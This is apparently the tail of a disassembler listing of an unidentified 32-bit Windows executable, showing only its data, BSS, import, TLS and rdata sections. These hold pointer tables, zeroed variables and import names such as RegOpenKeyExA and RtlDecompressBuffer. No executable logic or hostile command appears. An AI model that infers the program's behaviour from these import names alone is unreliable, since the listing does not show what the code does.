off_409300	dd offset dword_40A00C	; DATA XREF: sub_405A68+51r
					; sub_405AEC+4Fr
off_409304	dd offset dword_403410+0Ch ; DATA XREF:	CODE:00406594o
off_409308	dd offset dword_40A004	; DATA XREF: sub_405A68+39r
					; sub_405AEC+3Dr
off_40930C	dd offset dword_40A010	; DATA XREF: sub_405A68+5Cr
					; sub_405AEC+58r
off_409310	dd offset dword_403410+54h ; DATA XREF:	CODE:00406528o
		dd offset dword_4032F8+4
		dd offset dword_4032F8+0Ch
off_40931C	dd offset dword_403470+2Ch ; DATA XREF:	CODE:004064D4o
		dd offset dword_403270+4
		dd offset dword_403270+4Ch
off_409328	dd offset dword_403328+4 ; DATA	XREF: CODE:00406648o
		dd offset dword_403348+4
off_409330	dd offset off_40340C	; DATA XREF: CODE:004065ACo
		dd offset dword_403380+4
off_409338	dd offset dword_403410+24h ; DATA XREF:	CODE:00406570o
		dd offset dword_403348+1Ch
off_409340	dd offset dword_403410+14h ; DATA XREF:	CODE:00406588o
off_409344	dd offset dword_403410+34h ; DATA XREF:	CODE:00406558o
		dd offset dword_403348+14h
off_40934C	dd offset dword_4033B0+4 ; DATA	XREF: CODE:00406630o
off_409350	dd offset dword_4033B0+44h ; DATA XREF:	CODE:004065D0o
off_409354	dd offset dword_403470+14h ; DATA XREF:	CODE:004064F8o
		dd offset dword_403270+24h
		dd offset dword_403270+64h
off_409360	dd offset dword_403410+1Ch ; DATA XREF:	CODE:0040657Co
off_409364	dd offset off_4032E4	; DATA XREF: sub_405A68+17r
off_409368	dd offset dword_403470+24h ; DATA XREF:	CODE:004064E0o
		dd offset dword_403270+6Ch
off_409370	dd offset off_40346C	; DATA XREF: CODE:0040651Co
off_409374	dd offset dword_40A020	; DATA XREF: sub_405A68+6Cr
					; sub_405AEC+61r
		dd offset dword_403380+0Ch
off_40937C	dd offset off_403344	; DATA XREF: sub_4057C0+54r
off_409380	dd offset dword_4034A8+1Ch ; DATA XREF:	CODE:00406498o
		dd offset dword_403270+1Ch
off_409388	dd offset off_40337C	; DATA XREF: sub_405638+38r
off_40938C	dd offset dword_403410+3Ch ; DATA XREF:	CODE:0040654Co
off_409390	dd offset dword_403470+4 ; DATA	XREF: CODE:00406510o
		dd offset dword_40A03C
off_409398	dd offset dword_403470+0Ch ; DATA XREF:	CODE:00406504o
		dd offset dword_403348+0Ch
off_4093A0	dd offset off_4033A4	; DATA XREF: sub_4057C0+110r
off_4093A4	dd offset dword_4033B0+2Ch ; DATA XREF:	CODE:004065F4o
off_4093A8	dd offset off_403394	; DATA XREF: sub_405638+63r
off_4093AC	dd offset dword_4033B0+4Ch ; DATA XREF:	CODE:004065C4o
		dd offset dword_4034A8+2Ch
off_4093B4	dd offset dword_4033B0+0Ch ; DATA XREF:	CODE:00406624o
off_4093B8	dd offset off_4032F4	; DATA XREF: sub_4057C0+16Cr
		dd offset dword_403270+0Ch
		dd offset dword_4032F8+14h
		dd offset dword_403270+44h
		dd offset dword_403270+3Ch
off_4093CC	dd offset dword_4033B0+54h ; DATA XREF:	CODE:004065B8o
		dd offset dword_403270+54h
off_4093D4	dd offset off_4033AC	; DATA XREF: CODE:0040663Co
off_4093D8	dd offset off_403314	; DATA XREF: CODE:0040524Ar
		dd offset dword_4032E8+4
		dd offset dword_403270+5Ch
off_4093E4	dd offset off_40333C	; DATA XREF: sub_4057C0+45r
off_4093E8	dd offset dword_4033B0+24h ; DATA XREF:	CODE:00406600o
		align 1000h
DATA		ends

; Section 3. (virtual address 0000A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0000A000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 40A000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
		dd offset sub_40296C
dword_40A004	dd 0			; DATA XREF: DATA:off_409308o
dword_40A008	dd 0			; DATA XREF: sub_401234+9r
					; sub_401234+16r ...
dword_40A00C	dd 0			; DATA XREF: sub_407AFC-5CA9r
					; DATA:off_409300o
dword_40A010	dd 0			; DATA XREF: sub_401D08+25r
					; sub_407AFC-5C1Dr ...
off_40A014	dd offset sub_4010B8	; DATA XREF: sub_401C24+14r
					; sub_401C40+16r ...
off_40A018	dd offset sub_4010C0	; DATA XREF: sub_401D08+D2r
					; sub_407AFC-5B9Ar ...
dword_40A01C	dd 0			; DATA XREF: DATA:off_4092D0o
dword_40A020	dd 0			; DATA XREF: DATA:off_409374o
dword_40A024	dd 0			; DATA XREF: sub_4021FC+A0r
					; sub_4021FC+A9r
off_40A028	dd offset loc_405710	; DATA XREF: DATA:off_4092A8o
dword_40A02C	dd 400000h		; DATA XREF: sub_402144+29w
		dd 0F4h
byte_40A034	db 0			; DATA XREF: sub_402144+2Ew
		align 4
dword_40A038	dd 0			; DATA XREF: sub_4021FC+Eo
dword_40A03C	dd 0			; DATA XREF: DATA:00409394o
dword_40A040	dd 73h dup(0)		; DATA XREF: sub_4014E8:loc_401507o
					; DATA:004092F4o
dword_40A20C	dd 73h dup(0)		; DATA XREF: sub_4014E8+26o
dword_40A3D8	dd 0			; DATA XREF: CODE:00402FCDw
dword_40A3DC	dd 140000h		; DATA XREF: sub_401158+7r
					; sub_40116C+Dr ...
dword_40A3E0	dd 2 dup(0)		; DATA XREF: sub_4020A0+4o
					; sub_4021CC+Do ...
off_40A3E8	dd offset dword_408160	; DATA XREF: sub_402128r
					; sub_402144+14w
dword_40A3EC	dd 0			; DATA XREF: sub_4020D4+20w
					; sub_402144+1Bw
off_40A3F0	dd offset dword_409068	; DATA XREF: sub_402144+20w
		dd 6 dup(0)
dword_40A40C	dd 0			; DATA XREF: CODE:00402FD5r
					; CODE:00402FDEr
off_40A410	dd offset sub_40291C	; DATA XREF: CODE:00402934o
					; CODE:0040294Dw ...
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
off_40A43C	dd offset sub_402914	; DATA XREF: sub_40295Cr
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
		dd offset sub_402914
byte_40A4BC	db 0			; DATA XREF: sub_40308Cr
byte_40A4BD	db 0			; DATA XREF: CODE:0040680Ar
		align 10h
TlsIndex	dd 0			; DATA XREF: sub_403048+Cr
					; sub_403048+37r ...
		align 8
dword_40A4C8	dd 400000h		; DATA XREF: sub_4030D8+11w
					; sub_4030D8+16r ...
dword_40A4CC	dd 0			; DATA XREF: CODE:0040312Dw
					; CODE:0040314Cw
dword_40A4D0	dd 0			; DATA XREF: sub_40308C:loc_4030BBr
dword_40A4D4	dd 0			; DATA XREF: CODE:00403165w
					; CODE:00403184w
dword_40A4D8	dd 0			; DATA XREF: CODE:0040323Dw
					; CODE:0040325Cw
dword_40A4DC	dd 0			; DATA XREF: CODE:004034EDw
					; CODE:0040350Cw
dword_40A4E0	dd 0			; DATA XREF: sub_4046FC+1Cr
					; sub_405F88+52o ...
byte_40A4E4	db 0			; DATA XREF: sub_4046FC+24r
					; sub_405F88+7Bw
byte_40A4E5	db 0			; DATA XREF: sub_4046FC+2Cr
					; sub_405F88+9Fw
byte_40A4E6	db 2Ch			; DATA XREF: sub_4046FC+14r
					; sub_405F88+B2w
byte_40A4E7	db 2Eh			; DATA XREF: sub_4046FC+Cr
					; sub_405F88+C5w
byte_40A4E8	db 2			; DATA XREF: sub_4042BA+296r
					; sub_405F88+E9w
byte_40A4E9	db 2Fh			; DATA XREF: sub_405F88+FCw
		align 4
dword_40A4EC	dd 0			; DATA XREF: sub_405F88+124o
					; CODE:00406791o
dword_40A4F0	dd 0			; DATA XREF: sub_405F88+151o
					; CODE:00406787o
byte_40A4F4	db 3Ah			; DATA XREF: sub_405F88+169w
		align 4
dword_40A4F8	dd 0			; DATA XREF: sub_405F88+186o
					; CODE:0040677Do
dword_40A4FC	dd 0			; DATA XREF: sub_405F88+1A8o
					; CODE:00406773o
dword_40A500	dd 0			; DATA XREF: sub_405F88+271o
					; CODE:00406769o
dword_40A504	dd 0			; DATA XREF: sub_405F88+28Eo
					; CODE:0040675Fo
dword_40A508	dd 0Ch dup(0)		; DATA XREF: sub_404CB0+29o
					; CODE:0040674Ao
dword_40A538	dd 0Ch dup(0)		; DATA XREF: sub_404CB0+2Eo
					; CODE:00406735o
dword_40A568	dd 7 dup(0)		; DATA XREF: sub_404CB0+8Ao
					; CODE:00406720o
dword_40A584	dd 7 dup(0)		; DATA XREF: sub_404CB0+8Fo
					; CODE:0040670Bo
dword_40A5A0	dd 409h			; DATA XREF: sub_405D9C+Er
					; sub_405E14+Cw ...
dword_40A5A4	dd 9			; DATA XREF: sub_404F38+5Cr
					; sub_405DFCr ...
dword_40A5A8	dd 1			; DATA XREF: sub_405E14+20w
					; sub_405E14+53w
dword_40A5AC	dd 2C0000h		; DATA XREF: sub_404DD4:loc_404DE8r
					; sub_405C28+8r ...
dword_40A5B0	dd 6 dup(0)		; DATA XREF: CODE:004066F6o
dword_40A5C8	dd 0			; DATA XREF: sub_404E10:loc_404E34r
					; sub_404E10+43w
dword_40A5CC	dd 7 dup(0)		; DATA XREF: sub_404E88+5Do
dword_40A5E8	dd 0			; DATA XREF: CODE:004066E6o
dword_40A5EC	dd 0			; DATA XREF: CODE:004066D6o
dword_40A5F0	dd 0			; DATA XREF: CODE:0040666Dw
					; CODE:004067EDw
dword_40A5F4	dd 0			; DATA XREF: sub_4055E4:loc_4055F9r
					; sub_405A68+12w ...
dword_40A5F8	dd 0			; DATA XREF: sub_4055E4:loc_405601r
					; sub_405A68+29w ...
dword_40A5FC	dd 0			; DATA XREF: CODE:00406679o
dword_40A600	dd 0			; DATA XREF: CODE:00406A15w
					; CODE:00406A34w
dword_40A604	dd 0			; DATA XREF: CODE:00407141w
					; CODE:00407160w
dword_40A608	dd 0			; DATA XREF: CODE:004082D2w
					; CODE:004082D7r ...
dword_40A60C	dd 0			; DATA XREF: CODE:004082C8o
					; CODE:004082E9r ...
dword_40A610	dd 0			; DATA XREF: CODE:004082E4o
					; CODE:004082F4o ...
dword_40A614	dd 0			; DATA XREF: CODE:loc_4082ADo
					; CODE:004082BCr
dword_40A618	dd 0			; DATA XREF: CODE:0040826Ew
					; CODE:00408286r ...
dword_40A61C	dd 0			; DATA XREF: CODE:loc_408278r
					; CODE:00408293o ...
		align 1000h
BSS		ends

; Section 4. (virtual address 0000B000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0000B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 40B000h
		dd 3 dup(0)
		dd 0B18Ch, 0B0A0h, 3 dup(0)
		dd 0B338h, 0B108h, 3 dup(0)
		dd 0B35Eh, 0B114h, 3 dup(0)
		dd 0B39Eh, 0B124h, 3 dup(0)
		dd 0B3BCh, 0B12Ch, 3 dup(0)
		dd 0B4D6h, 0B170h, 3 dup(0)
		dd 0B51Eh, 0B184h, 5 dup(0)
dword_40B0A0	dd 77E77CC4h		; DATA XREF: CODE:00401150r
dword_40B0A4	dd 77E79924h		; DATA XREF: sub_401140r
dword_40B0A8	dd 77E74672h		; DATA XREF: sub_401120r
dword_40B0AC	dd 77E73BEFh		; DATA XREF: sub_401118r
dword_40B0B0	dd 77E805B8h		; DATA XREF: sub_401108r
dword_40B0B4	dd 77E77F21h		; DATA XREF: sub_401100r
dword_40B0B8	dd 77E7A5FDh		; DATA XREF: sub_4010F8r
dword_40B0BC	dd 77E7513Ch		; DATA XREF: sub_4010F0r
dword_40B0C0	dd 77E75D9Eh		; DATA XREF: sub_4010E8r
dword_40B0C4	dd 77E78EAAh		; DATA XREF: sub_4010E0r
dword_40B0C8	dd 77E75CB5h		; DATA XREF: sub_4010D8r
dword_40B0CC	dd 77EB9A84h		; DATA XREF: sub_4010C8r
dword_40B0D0	dd 77F6183Eh		; DATA XREF: sub_4010C0r
dword_40B0D4	dd 77E6D706h		; DATA XREF: sub_4010B8r
dword_40B0D8	dd 77E7C938h		; DATA XREF: sub_4010B0r
dword_40B0DC	dd 77E79B39h		; DATA XREF: sub_4010A8r
dword_40B0E0	dd 77E78B61h		; DATA XREF: sub_4010A0r
dword_40B0E4	dd 77E79881h		; DATA XREF: sub_401098r
dword_40B0E8	dd 77E79F93h		; DATA XREF: sub_401090r
dword_40B0EC	dd 77E7A099h		; DATA XREF: sub_401088r
dword_40B0F0	dd 77E80618h		; DATA XREF: sub_401080r
dword_40B0F4	dd 77F51597h		; DATA XREF: sub_401078r
dword_40B0F8	dd 77F5722Fh		; DATA XREF: sub_401070r
dword_40B0FC	dd 77F516F8h		; DATA XREF: sub_401068r
aCw		db '|w',0
		align 4
dword_40B108	dd 77D47250h		; DATA XREF: sub_401110r
dword_40B10C	dd 77D472ECh		; DATA XREF: sub_4010D0r
		dd 0
dword_40B114	dd 77DD23D7h		; DATA XREF: sub_401138r
dword_40B118	dd 77DD22EAh		; DATA XREF: sub_401130r
dword_40B11C	dd 77DD189Ah		; DATA XREF: sub_401128r
		dd 0
dword_40B124	dd 771214E8h		; DATA XREF: sub_401148r
		dd 0
dword_40B12C	dd 77E79D8Ch		; DATA XREF: CODE:00403204r
dword_40B130	dd 77E7F044h		; DATA XREF: sub_4031FCr
dword_40B134	dd 77E805D8h		; DATA XREF: sub_4031F4r
dword_40B138	dd 77E7C657h		; DATA XREF: sub_4031ECr
dword_40B13C	dd 77E77F21h		; DATA XREF: sub_4031E4r
dword_40B140	dd 77E98D20h		; DATA XREF: sub_4031DCr
dword_40B144	dd 77E79C3Dh		; DATA XREF: CODE:004031D4r
dword_40B148	dd 77E7A5FDh		; DATA XREF: sub_4031CCr
dword_40B14C	dd 77E79F93h		; DATA XREF: sub_4031C4r
dword_40B150	dd 77E7A099h		; DATA XREF: sub_4031BCr
dword_40B154	dd 77E7513Ch		; DATA XREF: sub_4031B4r
dword_40B158	dd 77E6869Bh		; DATA XREF: sub_4031ACr
dword_40B15C	dd 77E7849Fh		; DATA XREF: sub_4031A4r
dword_40B160	dd 77E7A13Fh		; DATA XREF: sub_40319Cr
dword_40B164	dd 77E75CB5h		; DATA XREF: sub_403194r
dword_40B168	dd 77EC9262h		; DATA XREF: sub_40318Cr
		align 10h
dword_40B170	dd 77D6ADD7h		; DATA XREF: CODE:00403224r
dword_40B174	dd 77D47250h		; DATA XREF: sub_40321Cr
dword_40B178	dd 77D477C0h		; DATA XREF: sub_403214r
dword_40B17C	dd 77D472ECh		; DATA XREF: sub_40320Cr
		dd 0
dword_40B184	dd 77FA44C8h		; DATA XREF: sub_40685Cr
		dd 0
aKernel32_dll	db 'kernel32.dll',0
		align 4
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 10h
		dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		dd 65h,	7274736Ch, 416E656Ch, 0
aLstrcpyna	db 'lstrcpynA',0
		align 10h
aLoadlibraryexa	db 'LoadLibraryExA',0
		align 10h
		dd 65470000h, 72685474h, 4C646165h, 6C61636Fh, 65h, 50746547h
		dd 41636F72h, 65726464h, 7373h,	65470000h, 636F4C74h, 49656C61h
		dd 416F666Eh, 0
aFindfirstfilea	db 'FindFirstFileA',0
		align 4
		dd 69460000h, 6C43646Eh, 65736Fh, 78450000h, 72507469h
		dd 7365636Fh, 73h, 61686E55h, 656C646Eh, 63784564h, 69747065h
		dd 69466E6Fh, 7265746Ch, 0
aRtlunwind	db 'RtlUnwind',0
		align 4
aRaiseexception	db 'RaiseException',0
		align 4
		dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 53736C54h
		dd 61567465h, 65756Ch, 6C540000h, 74654773h, 756C6156h
		dd 65h,	61636F4Ch, 6C6C416Ch, 636Fh, 65470000h,	646F4D74h
		dd 48656C75h, 6C646E61h, 4165h,	65470000h, 646F4D74h, 46656C75h
		dd 4E656C69h, 41656D61h, 0
aFreelibrary	db 'FreeLibrary',0
		dd 65480000h, 72467061h, 6565h,	65480000h, 65527061h, 6F6C6C41h
		dd 63h,	70616548h, 6F6C6C41h, 63h, 50746547h, 65636F72h
		dd 65487373h, 7061h, 72657375h,	642E3233h, 6C6Ch, 6F4C0000h
		dd 74536461h, 676E6972h, 41h, 72616843h, 7478654Eh, 64610041h
		dd 69706176h, 642E3233h, 6C6Ch,	65520000h, 65755167h, 61567972h
		dd 4565756Ch, 4178h, 65520000h,	65704F67h, 79654B6Eh, 417845h
		dd 65520000h, 6F6C4367h, 654B6573h, 6C6F0079h, 74756165h
		dd 642E3233h, 6C6Ch, 79530000h,	65724673h, 72745365h, 676E69h
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aWritefile	db 'WriteFile',0
		align 4
aVirtualquery	db 'VirtualQuery',0
		align 4
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
aGetversionexa	db 'GetVersionExA',0
		align 4
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 72745374h, 54676E69h, 45657079h, 4178h, 65470000h
		dd 64745374h, 646E6148h, 656Ch,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 4
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0
aGetdiskfrees_0	db 'GetDiskFreeSpaceA',0
		align 10h
aGetcpinfo	db 'GetCPInfo',0
		align 4
aGetacp		db 'GetACP',0
		align 4
		dd 78450000h, 72507469h, 7365636Fh, 73h, 6D756E45h, 656C6143h
		dd 7261646Eh, 6F666E49h, 73750041h, 32337265h, 6C6C642Eh
		dd 0
aMessageboxa	db 'MessageBoxA',0
		dd 6F4C0000h, 74536461h, 676E6972h, 41h, 53746547h, 65747379h
		dd 74654D6Dh, 73636972h, 0
aCharnexta	db 'CharNextA',0
aNtdll_dll	db 'ntdll.dll',0
		db    0
		align 2
aRtldecompressb	db 'RtlDecompressBuffer',0
		align 1000h
_idata		ends

; Section 5. (virtual address 0000C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0000C000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 40C000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
TlsEnd		dd 3FEh	dup(0)		; DATA XREF: .rdata:TlsEnd_ptro
_tls		ends

; Section 6. (virtual address 0000D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0000D000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40D000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 1000h
_rdata		ends

; Section 8. (virtual address 00029000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00028800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 429000h
		align 2000h
_idata2		ends


		end start